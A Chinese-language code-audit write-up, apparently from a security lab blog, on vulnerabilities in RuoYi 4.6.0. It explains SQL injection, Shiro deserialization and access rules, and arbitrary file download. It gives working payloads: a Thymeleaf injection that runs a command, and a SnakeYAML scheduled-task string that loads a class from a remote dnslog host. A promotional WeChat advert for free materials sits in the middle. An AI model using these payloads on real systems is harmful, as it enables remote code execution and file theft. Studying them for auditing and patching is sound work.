若依 RuoYi4.6.0 程式碼審計

蚁景网安实验室發表於2024-10-24

環境佈置:

到官網下載原始碼:https://github.com/yangzongzhuan/RuoYi

採用phpstudy整合資料庫,5.7版本。JDK1.8。

IDEA開啟專案,等待自動載入,修改application-druid.yml配置檔案:資料庫名,賬號密碼,連線資料庫,修改application.yml中的埠,避免與80埠衝突。

若依 RuoYi4.6.0 程式碼審計

匯入:quartz.sql與ry_20201214.sql檔案。

執行RuoYiApplication檔案。

訪問後臺:http://localhost:25001/login

若依 RuoYi4.6.0 程式碼審計

Sql注入漏洞:

由於該專案採用了mybatis開發,常見的找sql注入的方法就是全域性搜尋${

定位到可疑引數:

若依 RuoYi4.6.0 程式碼審計

根據id值selectRoleList全域性搜尋,從xml定位到dao層:

若依 RuoYi4.6.0 程式碼審計

右鍵單擊,找該介面的使用,在使用處發現selectRoleList方法,全域性搜尋該方法,定位controller層檢視介面與傳參:

若依 RuoYi4.6.0 程式碼審計

如下,定位到controller層:

若依 RuoYi4.6.0 程式碼審計

分析程式碼:首先以@RequiresPermissions註解表明介面訪問許可權,再以@PostMapping註解表明接收介面,並且以@ResponseBody註解表明回將返回值寫入http響應。

此方法會接收一個SysRole型別的role值,並且將接受的role值以selectRoleList方法處理後返回給list,最後返回給http響應。

【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “部落格園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

於是我們現在需要分析

1:role物件在接收它的引數時是否有過濾,

2:selectRoleList方法在處理role接收後的值是否有過濾。

跟進SysRole類,發現無過濾:

若依 RuoYi4.6.0 程式碼審計

跟進selectRoleList方法,發現無過濾:

若依 RuoYi4.6.0 程式碼審計

於是確定原dataScope引數存在sql注入,到前端功能找對應資料包。

若依 RuoYi4.6.0 程式碼審計

若依 RuoYi4.6.0 程式碼審計

發現不存在dataScope引數,手動新增:

若依 RuoYi4.6.0 程式碼審計

將localhost換成主機IP,放入sqlmap驗證

若依 RuoYi4.6.0 程式碼審計

Shiro反序列化:

首先檢視專案pom檔案,發現shiro版本為1.7.0:

若依 RuoYi4.6.0 程式碼審計

全域性搜尋cipherKey,定位到金鑰值:

若依 RuoYi4.6.0 程式碼審計

由此結合shiro反序列化利用工具利用。

Shiro未授權訪問:

檢視shiro配置檔案ShiroConfig.java,anon為匿名攔截器,不需要登入就能訪問。authc為登入攔截器,需要登入認證才能訪問。

若依 RuoYi4.6.0 程式碼審計

Thymeleaf模板注入:

本框架採用了 Thymeleaf 模板,全域性搜尋::

若依 RuoYi4.6.0 程式碼審計

根據Mapping構造路徑,傳送poc

fragment=__*%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x

若依 RuoYi4.6.0 程式碼審計

計劃任務RCE:

如圖新增計劃任務

將呼叫目標字元修改如下:

org.yaml.snakeyaml.Yaml.load(\'!!javax.script.ScriptEngineManager
\[!!java.net.URLClassLoader \[\[!!java.net.URL
\[\"http://w2h0ib.dnslog.cn\"\]\]\]\]\')

若依 RuoYi4.6.0 程式碼審計

呼叫執行:

若依 RuoYi4.6.0 程式碼審計

dnslog出現響應:

若依 RuoYi4.6.0 程式碼審計

任意檔案下載漏洞:

繼續如上建立定時任務:

ruoYiConfig.setProfile(\'/home/clown/Project/RuoYi-v4.6.0/ruoyi-admin/src/main/resources/application.yml\')

執行後訪問如下路徑實現檔案下載:

/common/download/resource?resource=.zip

若依 RuoYi4.6.0 程式碼審計

跟蹤下載路徑定位程式碼:

若依 RuoYi4.6.0 程式碼審計

該處程式碼先接收resource的值,再將該值放入checkAllowDownload方法裡面校驗後,進入下載檔案的程式碼呼叫。

於是跟進checkAllowDownload方法:

若依 RuoYi4.6.0 程式碼審計

發現該方法主要做了兩件事:

1:禁止掉resource中的目錄穿越../

2:以白名單形式檢查檔案下載規則

這裡主要跟進一下2的程式碼:

取點字尾:

若依 RuoYi4.6.0 程式碼審計

再以點字尾進行白名單匹配:

若依 RuoYi4.6.0 程式碼審計

如果在原controller層if判斷為假,進入下載檔案程式碼流程:

若依 RuoYi4.6.0 程式碼審計

至此可發現下載檔案的路徑不可控,且型別存在白名單限制!

此時我們繼續跟進本地資源路徑的程式碼:

若依 RuoYi4.6.0 程式碼審計

我們可以發現本地資源路徑是透過getProfile進行獲取,且該RuoYiConfig類存在setProfile方法,由此可知,可以透過計劃任務呼叫該類的setProfile方法設定好路徑,直接繞過了前面的if過濾:

若依 RuoYi4.6.0 程式碼審計

之後即可呼叫/common/download/resource介面任意下載檔案。

更多網安技能的線上實操練習,請點選這裡>>

相關文章